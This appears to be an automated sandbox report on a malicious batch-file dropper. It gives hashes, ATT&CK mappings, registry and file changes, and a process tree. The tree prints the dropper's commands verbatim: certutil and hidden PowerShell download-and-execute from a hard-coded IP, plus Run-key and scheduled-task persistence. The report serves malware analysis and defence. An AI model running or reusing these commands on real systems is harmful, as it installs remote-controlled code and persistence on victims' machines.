e86a91e0d6e71324a4f159c5e426ab6f9cebeeb19203e22b51a7173af2ec945b

Analysis

max time kernel
150s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/07/2026, 18:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b.bat
Size 372B
Sample260705-wt91xaey5v
SHA256 e86a91e0d6e71324a4f159c5e426ab6f9cebeeb19203e22b51a7173af2ec945b
MD5 66aa8a9e71c31756677bb40165dc25b2
SHA1 419bcc3bb5ffe5b6a5e84726c6b357d3f98da9a4
SHA512 f9655ae9168da853dc7ae9272e86e7deb207c25984ca205d641508fe95fe098d0e24887f831724215b53d9389618ad9e47424480997c43c74acf2bc797332f51
TLSH
T15CE061A75507BFB40C0DDDC9DADD9980F0069046D251B68043938F116D5855CFF67393
MD5 SHA1 SHA512 TLSH

Score

10^/10

discovery execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://176.125.243.14:8080/b.ps1

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
18	3960	powershell.exe
19	3960	powershell.exe
22	2192	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3960	powershell.exe
2192	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
4436	msedge.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2900715619-172032027-1873877232-1000\Software\Microsoft\Windows\CurrentVersion\Run\EdgeUpdate = "wscript.exe \"C:\\Users\\Admin\\AppData\\Roaming\\mlRykWOt.vbs\""	powershell.exe

Drops file in Windows directory 23 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_911520544\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_1906879959\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_180963673\english_wikipedia.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_180963673\model.markov	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_180963673\ranked_dicts	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_180963673\test.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_180963673\us_tv_and_film.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_512282137\Microsoft.CognitiveServices.Speech.core.dll	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_1964668579\kp_pinslist.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_512282137\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_911520544\data.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_1964668579\ct_config.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_235209447\well_known_domains.dll	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_180963673\male_names.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_180963673\manifest.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_1906879959\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_1964668579\crs.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_1964668579\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_235209447\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_180963673\female_names.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_180963673\passwords.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4436_180963673\surnames.txt	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3292	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134277488518583283"	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	powershell.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2900715619-172032027-1873877232-1000\{D29D6EE1-AEC8-4F75-9791-4741383E47C6}	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
936	schtasks.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3960	powershell.exe
3960	powershell.exe
2192	powershell.exe
2192	powershell.exe
2192	powershell.exe
4276	msedge.exe
4276	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4436	msedge.exe
4436	msedge.exe
4436	msedge.exe
4436	msedge.exe
4436	msedge.exe
4436	msedge.exe
4436	msedge.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3960	powershell.exe
Token: SeDebugPrivilege	2192	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4436	msedge.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 3308 wrote to memory of 2420	3308	cmd.exe	91
PID 3308 wrote to memory of 4436	3308	cmd.exe	92
PID 3308 wrote to memory of 3960	3308	cmd.exe	93
PID 4436 wrote to memory of 4264	4436	msedge.exe	94
PID 4436 wrote to memory of 3292	4436	msedge.exe	95
PID 4436 wrote to memory of 2504	4436	msedge.exe	96
PID 4436 wrote to memory of 2504	4436	msedge.exe	96
PID 4436 wrote to memory of 4568	4436	msedge.exe	97
PID 4436 wrote to memory of 4568	4436	msedge.exe	97
PID 4436 wrote to memory of 4568	4436	msedge.exe	97
PID 4436 wrote to memory of 808	4436	msedge.exe	99
PID 4436 wrote to memory of 1856	4436	msedge.exe	100
PID 4436 wrote to memory of 808	4436	msedge.exe	99
PID 4436 wrote to memory of 808	4436	msedge.exe	99
PID 4436 wrote to memory of 1856	4436	msedge.exe	100
PID 4436 wrote to memory of 1856	4436	msedge.exe	100
PID 4436 wrote to memory of 4312	4436	msedge.exe	101
PID 4436 wrote to memory of 4312	4436	msedge.exe	101
PID 4436 wrote to memory of 4312	4436	msedge.exe	101
PID 4436 wrote to memory of 6076	4436	msedge.exe	102
PID 4436 wrote to memory of 6076	4436	msedge.exe	102
PID 4436 wrote to memory of 6076	4436	msedge.exe	102
PID 4436 wrote to memory of 3880	4436	msedge.exe	103
PID 4436 wrote to memory of 3880	4436	msedge.exe	103
PID 3960 wrote to memory of 4704	3960	powershell.exe	104
PID 4436 wrote to memory of 3272	4436	msedge.exe	105
PID 4436 wrote to memory of 3272	4436	msedge.exe	105
PID 4436 wrote to memory of 3272	4436	msedge.exe	105
PID 4436 wrote to memory of 5492	4436	msedge.exe	106
PID 4436 wrote to memory of 5492	4436	msedge.exe	106
PID 4436 wrote to memory of 5492	4436	msedge.exe	106
PID 3960 wrote to memory of 2192	3960	powershell.exe	107
PID 3960 wrote to memory of 936	3960	powershell.exe	108
PID 4436 wrote to memory of 5844	4436	msedge.exe	112
PID 4436 wrote to memory of 5844	4436	msedge.exe	112
PID 4436 wrote to memory of 1020	4436	msedge.exe	114
PID 4436 wrote to memory of 1020	4436	msedge.exe	114
PID 4436 wrote to memory of 5732	4436	msedge.exe	115
PID 4436 wrote to memory of 5732	4436	msedge.exe	115
PID 4436 wrote to memory of 1144	4436	msedge.exe	117
PID 4436 wrote to memory of 6056	4436	msedge.exe	121
PID 4436 wrote to memory of 4456	4436	msedge.exe	122
PID 4436 wrote to memory of 1972	4436	msedge.exe	123
PID 4436 wrote to memory of 3344	4436	msedge.exe	124
PID 4436 wrote to memory of 3344	4436	msedge.exe	124
PID 4436 wrote to memory of 4228	4436	msedge.exe	126
PID 4436 wrote to memory of 4228	4436	msedge.exe	126
PID 4436 wrote to memory of 2576	4436	msedge.exe	127
PID 4436 wrote to memory of 2576	4436	msedge.exe	127
PID 4436 wrote to memory of 4964	4436	msedge.exe	128
PID 4436 wrote to memory of 4964	4436	msedge.exe	128
PID 4436 wrote to memory of 200	4436	msedge.exe	129
PID 4436 wrote to memory of 200	4436	msedge.exe	129
PID 4436 wrote to memory of 4276	4436	msedge.exe	130
PID 4436 wrote to memory of 3332	4436	msedge.exe	131
PID 4436 wrote to memory of 3332	4436	msedge.exe	131
PID 4436 wrote to memory of 6012	4436	msedge.exe	132
PID 4436 wrote to memory of 6012	4436	msedge.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3308
- C:\Windows\system32\certutil.exe
  certutil -urlcache -f http://176.125.243.14:8080/1040.pdf C:\Users\Admin\AppData\Local\Temp\1040.pdf
  2⤵
  PID:2420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\1040.pdf
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4436
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x31c,0x7ffe8285c188,0x7ffe8285c194,0x7ffe8285c1a0
    3⤵
    PID:4264
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1668,i,5363678745179068216,6888604730863801209,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=2828 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3292
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2240,i,13937687271302308806,8288936885576570553,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=2980 /prefetch:13
    3⤵
    PID:2504
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1536,i,9294339315636618406,3797164318659138302,262144 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=2368 /prefetch:2
    3⤵
    PID:4568
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3584,i,9712824395668865317,1032266589256828883,2097152 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:1
    3⤵
    PID:808
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3588,i,16531471730054381634,787495422976275748,2097152 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:1
    3⤵
    PID:1856
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=5020,i,10582471855616719934,14550601907891064031,2097152 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=5036 /prefetch:9
    3⤵
    PID:4312
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=5276,i,17724548873786189062,12334766538423798132,2097152 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:15
    3⤵
    PID:6076
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=pdf_utility.mojom.PdfUtility --lang=en-US --service-sandbox-type=utility --pdf-shared-library --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5520,i,724403723757226211,5923251975368807219,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:14
    3⤵
    PID:3880
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5692,i,2188246325772984150,13723848361653680675,2097152 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:1
    3⤵
    PID:3272
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5876,i,16404456234384704209,16110224656175441744,2097152 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=5868 /prefetch:15
    3⤵
    PID:5492
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=pdf_utility.mojom.PdfUtility --lang=en-US --service-sandbox-type=utility --pdf-shared-library --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6028,i,17328390663042491624,5403107360534629257,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:14
    3⤵
    PID:5844
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5548,i,18027468110415354223,17955830835547378747,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=5588 /prefetch:14
    3⤵
    PID:1020
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5628,i,9842374559141038910,14146341067895984769,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=5568 /prefetch:14
    3⤵
    PID:5732
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6512,i,10336826481682673650,2865822988792494498,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=6532 /prefetch:14
    3⤵
    PID:5144
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6512,i,10336826481682673650,2865822988792494498,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=6532 /prefetch:14
    3⤵
    PID:1144
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6680,i,3093980406040060870,11820781883277576571,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=7020 /prefetch:14
    3⤵
    PID:6056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6684,i,8155356713367812096,3789683878086233797,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=5216 /prefetch:14
    3⤵
    PID:4456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6512,i,12174247828912063230,14561515893306682037,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=7120 /prefetch:14
    3⤵
    PID:1972
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2624,i,10204742234219981415,6208804003031394624,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=6096 /prefetch:14
    3⤵
    PID:3344
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6728,i,9226210810744233786,17959642571610515241,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=6704 /prefetch:14
    3⤵
    PID:4228
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6968,i,371803953236314548,12946107612714270617,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=6164 /prefetch:14
    3⤵
    PID:2576
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5660,i,6945860495814021976,705510063062133727,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=5552 /prefetch:14
    3⤵
    PID:4964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=924,i,7031053185973227808,7568170111318724643,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=6976 /prefetch:14
    3⤵
    PID:200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7032,i,2621382753433483650,7300428528347378270,262144 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=6876 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4276
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6952,i,3746500450049081780,10889977170102798995,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=6288 /prefetch:14
    3⤵
    PID:3332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6588,i,856324629767690739,12336757600545580592,524288 --field-trial-handle=2392,i,385106520166409432,6010371267144947396,262144 --variations-seed-version --mojo-platform-channel-handle=6344 /prefetch:14
    3⤵
    PID:6012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -W Hidden -NoP -NonI -Exec Bypass -C "$w=New-Object Net.WebClient;$d=$w.DownloadString('http://176.125.243.14:8080/b.ps1');iex($d)"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3960
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Downloads\1040.pdf
    3⤵
    PID:4704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\hVrEaCRp.ps1"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2192
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /tn EdgeUpdate /tr "wscript.exe C:\Users\Admin\AppData\Roaming\mlRykWOt.vbs" /sc minute /mo 10 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:936

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4276

C:\Windows\System32\wscript.exe
wscript.exe
1⤵
PID:5588

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5424

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

